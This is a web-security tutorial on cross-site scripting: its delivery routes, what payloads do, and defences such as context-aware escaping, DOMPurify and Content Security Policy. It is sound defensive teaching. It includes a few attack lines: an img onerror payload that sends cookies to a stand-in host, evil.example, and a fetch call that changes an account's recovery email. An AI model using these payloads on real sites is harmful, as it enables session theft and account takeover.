What you'll learn
Quick Answer
Cross-site scripting means attacker JavaScript runs on your origin, with your user's session. It arrives stored in your database, reflected off a request, or written into the page by your own client-side code. The fix is escaping on output in the right context, using textContent instead of innerHTML, and never templating values into script blocks or unvalidated URLs. A Content Security Policy limits the damage when one escape is missed.
Stored, reflected and DOM-based XSS
Cross-site scripting means your page runs JavaScript that an attacker wrote. Same-origin policy, which is the rule that stops one site reading another site data, does not help here, because the script is running on your origin with your permissions. It is your page. The browser has no reason to be suspicious.
Stored XSS is the payload that lives in your database. A student writes a comment on a lesson page containing markup, your app saves it, and every visitor who loads that page executes it. This is the most damaging shape because the attacker does not have to reach anyone directly; you deliver the payload for them, to everyone, including admins looking at the moderation panel.
Reflected XSS is the payload that travels in the request and bounces back in the response. A search page that prints "no results for X" straight into the HTML will happily print markup instead. Exploiting it needs a crafted link, so it usually arrives as a WhatsApp forward or an email, and the link points at your real domain, which is precisely why people click it.
DOM-based XSS never touches your server at all. The payload is in the fragment or query string, and your own client-side JavaScript reads it and writes it into the page. Your server logs may show nothing unusual, and a server-side template escape does not run, because no server-side template was involved.
// DOM-based XSS. The server never sees the payload.
const q = new URLSearchParams(location.search).get('q');
document.getElementById('out').innerHTML = 'Results for ' + q;The three names describe delivery routes, not three different bugs. The underlying mistake is identical in all of them: data crossed into a place where the browser parses code.
What an XSS payload actually does
Beginners often picture XSS as a pop-up box. The alert is just the proof; what an attacker does with the same access is broader.
If your session token sits in localStorage, any script on the page reads it in one line and posts it anywhere. This is the concrete reason people argue against storing tokens there. Marking your session cookie HttpOnly does stop document.cookie from seeing it, and you should set it, but understand what it buys: it stops the token being stolen. It does not stop the attacker using it.
// Runs on your origin, so the browser attaches the session cookie itself.
fetch('/api/account/email', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email: 'attacker@example.com' })
});That request is indistinguishable from the real user clicking a button, because in every way the server can measure, it is the real user. The attacker changes the recovery email, then triggers a password reset, and the account is theirs without a single token leaving the browser.
The rest of the toolkit is equally unglamorous and equally effective: rewrite the visible page to add a fake login form, read anything on screen and exfiltrate it, keylog the payment form, swap a UPI ID or bank account number displayed on a checkout page, or silently follow the user around the site. Because the code runs inside your origin, every anti-fraud check that trusts the session trusts it too.
One consequence worth internalising for interviews: XSS defeats CSRF tokens. The attacker script can read the token out of your own page before sending the request. That is why "we have CSRF protection" is not an answer to an XSS finding.
Escape on output, in the right context
The fix is to escape when you output, not when you accept input. Escaping on input sounds tidy and goes wrong in two directions: the same stored value may later go into HTML, into a JSON API, into a CSV export and into an email, and each of those needs different treatment. You also permanently mangle real data, which is how people end up with & in their surname.
Escaping is also context sensitive. Converting <, >, & and quotes is correct for text inside an HTML element. It is not sufficient everywhere:
- Inside an unquoted attribute, a space is enough to start a new attribute, so an attacker adds an event handler without needing any angle bracket. Always quote attribute values.
- Inside a
<script>block, HTML escaping is the wrong alphabet entirely. Do not template values into JavaScript source; put them in a data attribute or a JSON payload and read them from JavaScript. - Inside a URL attribute such as
hreforsrc, escaping does nothing against ajavascript:URL, because the value contains no special HTML characters at all.
<!-- HTML-escaped and still exploitable if the value is javascript:alert(1) -->
<a href="{{ user.website }}">Website</a>For URLs the check is on the scheme, not on the characters. Parse the value and accept only http and https, rejecting everything else including data: and javascript:. Some frameworks now warn about or block javascript: URLs, but the behaviour varies by version, so validate rather than depend on it.
function safeUrl(value) {
try {
const u = new URL(value, window.location.origin);
return ['http:', 'https:'].includes(u.protocol) ? u.href : '#';
} catch {
return '#';
}
}The good news: every mainstream template engine escapes by default. Django, Jinja2, Blade, Thymeleaf, ERB and JSX all do the right thing until you explicitly turn it off. Almost every real XSS in a framework app is at the point where somebody turned it off.
innerHTML, v-html and dangerouslySetInnerHTML
Here is the detail that makes people misjudge innerHTML. If you test it with a script tag, nothing happens:
el.innerHTML = '<script>alert(1)</script>'; // does not executeScript elements inserted through innerHTML are not executed by the browser. Plenty of people run exactly that test, see no alert, and conclude the property is safe. It is not. The parser still builds the elements, and any element that fires JavaScript through an attribute works fine:
el.innerHTML = '<img src=x onerror="fetch(\'https://evil.example/?c=\' + document.cookie)">';The image fails to load, the error handler fires, and the payload runs. There are many variants, including <svg onload> and <iframe srcdoc>. Assigning attacker-influenced text to innerHTML means giving the HTML parser instructions from a stranger.
For text, the fix costs nothing:
el.textContent = 'Results for ' + q; // parsed as text, never as markupThe same trapdoor exists in every framework under a different name. React escapes interpolated text, so {name} is safe, but dangerouslySetInnerHTML hands the string to the same parser. Vue has v-html, Angular has bypassSecurityTrustHtml, Svelte has {@html}. The name is a warning in each case.
When you genuinely must render user HTML, for a rich-text editor or a comment box that allows formatting, sanitise it with a maintained library such as DOMPurify rather than a regular expression you wrote. HTML parsing has enough edge cases that hand-rolled sanitisers are reliably bypassed.
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(userHtml);Also treat document.write, outerHTML, insertAdjacentHTML and setting location from user input as members of the same family. They all end in a parser.
Content Security Policy as the second layer
Content Security Policy is a response header that tells the browser which sources of script it is allowed to run. It is a mitigation, not a fix: it is what limits the damage when an escaping bug gets through, and every serious application should have one.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-Kx7QpZ2v';
object-src 'none'; base-uri 'self'; frame-ancestors 'none'With that header, an injected <img onerror> handler does not run, because inline script is not allowed. Only scripts served from your own origin, or inline scripts carrying the exact nonce your server generated for that response, execute. The nonce must be freshly random per response; a hard-coded one is decorative.
<script nonce="Kx7QpZ2v">
// this runs, because the nonce matches the header for this response
</script>Two things quietly cancel a CSP. Adding 'unsafe-inline' to script-src gives back exactly the capability the policy existed to remove, and it is the most common shortcut because inline handlers in old templates stop working. One wrinkle is worth knowing before you reach for it: in a policy that already carries a nonce or a hash, browsers implementing CSP Level 2 or later ignore 'unsafe-inline' entirely, so adding it there changes nothing and people waste an afternoon on it. In a policy with no nonce, it removes the protection completely. Adding 'unsafe-eval' re-enables string evaluation, which some older libraries need. If you must ship either of them, treat the policy as unfinished work rather than protection.
Roll it out in stages. Start with Content-Security-Policy-Report-Only and a reporting endpoint, watch what would have broken for a week of real traffic, move the inline handlers into external files, then switch to enforcing. Doing it the other way round breaks the site during an exam week and gets the header removed permanently.
Alongside CSP, set HttpOnly, Secure and SameSite on session cookies, keep an eye on which third-party scripts you embed since each one can inject on your behalf, and prefer a small number of trusted dependencies on pages that handle money or credentials. Defence in depth here is not paranoia; it is accepting that one missed escape in one template should not cost you every session on the site.
